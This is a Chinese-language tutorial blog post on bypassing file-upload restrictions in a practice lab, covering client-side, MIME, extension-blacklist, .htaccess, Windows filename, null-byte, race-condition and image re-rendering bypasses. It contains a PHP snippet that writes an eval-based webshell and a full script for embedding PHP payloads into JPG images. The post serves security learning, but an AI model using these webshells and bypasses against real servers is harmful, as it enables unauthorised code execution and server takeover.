文件上传绕过方法

简介

文件上传漏洞是指由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致的用户可以越过其本身权限向服务器上上传可执行的动态脚本文件。 这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。 这种攻击方式是最为直接和有效的,“文件上传”本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。

常用的文件上传手段

在这里插入图片描述

案例

环境下载链接:https://pan.baidu.com/s/1PhCS78Nu_ZKrlnNMBxERaQ
提取码:wjsc

1、通过禁用js绕过检查,进行文件上传

在这里插入图片描述

火狐浏览器禁用js

在这里插入图片描述在这里插入图片描述在这里插入图片描述

2、通过burpsuite抓包修改MIME验证文件绕过检查,进行文件上传

在这里插入图片描述在这里插入图片描述

3、绕过文件后缀黑名单,进行文件上传

在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述

4、上传.htaccess文件后缀绕过过滤(apache)

htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能

.htaccess文件内容:
<FilesMatch "*.jpg"> 
	SetHandler application/x-httpd-php 
<FilesMatch>
或
SetHandler application/x-httpd-php

设置当前目录所有文件都使用PHP解析,那么无论上传任何文件,只要文件内容符合PHP语言代码规范,就会被当作PHP执行。不符合则报错。
http.conf文件的配置设置才能实现

在这里插入图片描述
在这里插入图片描述在这里插入图片描述复制图片路径访问在这里插入图片描述

5、路径拼接绕过

在没有对上传的文件进行重命名的情况下,用户可以自定义文件名并在服务器中上传新建,就会造成对应的绕过黑名单

在这里插入图片描述在这里插入图片描述在这里插入图片描述

6、大小绕过

在这里插入图片描述在这里插入图片描述在这里插入图片描述

7、空格绕过(windows)

Windows系统下,对于文件名中空格会被作为空处理,程序中的检测代码却不能自动删除空格。从而绕过黑名单。
在这里插入图片描述在这里插入图片描述

8、点绕过(windows)

Windows系统下,对于文件名中点会被作为空处理,程序中的检测代码却不能自动删除点。从而绕过黑名单。
在这里插入图片描述在这里插入图片描述在这里插入图片描述

9、::$DATA绕过(Windows)

在这里插入图片描述在这里插入图片描述在这里插入图片描述

10、文件解析漏洞(apache)

从后->前读取文件后缀
在这里插入图片描述

11、双写绕过

在这里插入图片描述在这里插入图片描述在这里插入图片描述

12-13、%00截断漏洞

0x00是十六进制表示方法,是ascii码为0的字符,在有些函数处理时,会把这个字符当做结束符。
系统在对文件名的读取时,如果遇到0x00,就会认为读取
在PHP5.3之后的版本中完全修复了00截断。并且00截断受限与GPC,addslashes函数已结束。
在这里插入图片描述

14、条件竞争

原理:网站允许上传任意文件,检查上传文件是否包含Webshell或者是否指定类型文件,如果都不符和,那么使用unlink删除文件。在删除之前访问上传的php文件,从而执行上传文件中的php代码。

文件删除之前访问文件执行的代码
<?php
  fputs(fopen('shell.php','w'),'<?php@eval($_POST["cmd"]) ?>');
?>

在这里插入图片描述思路:
进行文件上传前,使用python进行上传文件的不停请求,然后使文件再删除之前得以执行
为了使实验明显在删除之前添加15秒睡眠时间
在这里插入图片描述使用python不断请求要上传文件保存的url路径

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

15、文件头检查

图片马制作(制作不同格式图片马步骤相同)
在这里插入图片描述使用winhex查看
在这里插入图片描述在这里插入图片描述在这里插入图片描述

16、二次渲染绕过

jpg格式图片语句手工插入中间部分容易损坏,语句插入图片后面又会被过滤掉。
参考文档:https://blog.csdn.net/weixin_45588247/article/details/119177948

jpg格式图片马生成脚步

<?php
    /*

    The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
    It is necessary that the size and quality of the initial image are the same as those of the processed image.

    1) Upload an arbitrary image via secured files upload script
    2) Save the processed image and launch:
    jpg_payload.php <jpg_name.jpg>

    In case of successful injection you will get a specially crafted image, which should be uploaded again.

    Since the most straightforward injection method is used, the following problems can occur:
    1) After the second processing the injected data may become partially corrupted.
    2) The jpg_payload.php script outputs "Something's wrong".
    If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

    Sergey Bobrov @Black2Fan.

    See also:
    https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

    */

    $miniPayload = "<?=phpinfo();?>";


    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }

    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }

        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>
┌──(root💀cellmate)-[~/桌面]
└─# php imagesh.php 1.jpg
Success!    

在这里插入图片描述

在这里插入图片描述

  • 6
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值